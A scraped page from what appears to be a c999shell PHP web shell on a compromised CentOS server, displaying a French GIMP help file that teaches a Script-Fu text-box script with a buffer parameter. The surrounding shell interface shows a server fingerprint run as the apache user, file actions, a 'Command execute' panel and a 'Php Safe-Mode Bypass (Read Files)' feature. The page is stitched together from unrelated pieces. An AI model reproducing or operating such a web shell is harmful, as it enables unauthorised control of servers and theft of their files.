Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gimp/2.0/help/fr/ drwxr-xr-x |
Viewing file: ch07s03s06.html (13.18 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Quand vous créez un script, vous voulez donner à l'utilisateur la
possibilité d'annuler ses actions, car il peut commettre des
erreurs. Cela est facilement réalisé en appelant les fonctions
Si vous créez une image entièrement, il est de peu d'intérêt d'utiliser ces fonctions, puique vous ne modifiez pas une image existante. Il en va tout autrement pour une image existante. L'annulation d'un script marche presque parfaitement en utilisant ces fonctions. Ajoutons encore quelques fonctionnalités à notre script:
Pour permettre à l'utilisateur de spécifier la taille du tampon, nous ajouterons un paramètre à notre fonction et à la fonction d'enregistrement:
(define (script-fu-text-box inTest inFont inFontSize inTextColor inBufferAmount)
(let*
(
; define our local variables
; create a new image:
(theImageWidth 10)
(theImageHeight 10)
(theImage (car
(gimp-image-new
theImageWidth
theImageHeight
RGB
)
)
)
(theText) ;a declaration for the text
;we create later
(theBuffer) ;added
(theLayer
(car
(gimp-layer-new
theImage
theImageWidth
theImageHeight
RGB-IMAGE
"layer 1"
100
NORMAL
)
)
)
) ;end of our local variables
(script-fu-register "script-fu-text-box" ;func name "Text Box" ;menu label "Creates a simple text box, sized to fit\ around the user's choice of text,\ font, font size, and color." ;description "Michael Terry" ;author "copyright 1997, Michael Terry" ;copyright notice "October 27, 1997" ;date created "" ;image type that the script works on SF-STRING "Text:" "Text Box" ;a string variable SF-FONT "Font:" "Charter" ;a font variable SF-ADJUSTMENT "Font size" '(50 1 1000 1 10 0 1) ;a spin-button SF-COLOR "Color:" '(0 0 0) ;color variable SF-ADJUSTMENT "Buffer amount" '(35 0 100 1 10 1 0) ;a slider ) (script-fu-menu-register "script-fu-text-box" "<Toolbox>/Xtns/Script-Fu/Text") Nous allons ajouter du code à deux endroits: juste avant de redimensionner l'image, et à la fin du script (pour retourner la nouvelle image, le calque et le texte). Après avoir obtenu la hauteur et la largeur du texte, nous devons changer ces valeurs sur la base de la taille du tampon spécifiée par l'utilisateur. Nous ne commettrons pas d'erreur en ne recherchant pas si la valeur est dans l'intervalle 0-100%, parce que ce n'est pas vital, et qu'il n'y a aucune raison que l'utilisateur ne puisse pas donner une valeur de 200% au tampon. (set! theBuffer (* theImageHeight (/ inBufferAmount 100) ) ) (set! theImageHeight (+ theImageHeight theBuffer theBuffer) ) (set! theImageWidth (+ theImageWidth theBuffer theBuffer) ) Tout ce que nous faisons ici est de régler le tampon sur la hauteur du texte, et de l'ajouter deux fois à la hauteur et à la largeur de notre nouvelle image (deux fois parce que le tampon doit être ajouté des deux côtés du texte).
maintenant que nous avons redimensionné l'image pour
permettre une zone tampon, nous devons centrer le texte dans
l'image. Nous le faisons en le déplaçant vers les coordonnées (x,y)
de ( (gimp-layer-set-offsets theText theBuffer theBuffer) Poursuivez et enregistrez votre script, puis testez-le après avoir rafraîchi la base de données. Tout ce qui reste à faire est de retourner notre image, le calque et le calque de texte. Après l'affichage de l'image, nous ajoutons cette ligne: (list theImage theLayer theText) C'est la dernière ligne de la fonction, qui rend cette liste disponible pour les autres scripts qui veulent l'utiliser. pour utiliser notre nouveau script de boîte de texte dans un autre script, nous pourrions écrire quelque chose comme: (set! theResult (script-fu-text-box "Some text" "Charter" "30" '(0 0 0) "35" ) ) (gimp-image-flatten (car theResult)) Félicitations, vous êtes sur le chemin de votre Ceinture Noire de Scrip-Fu! |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0465 ]-- |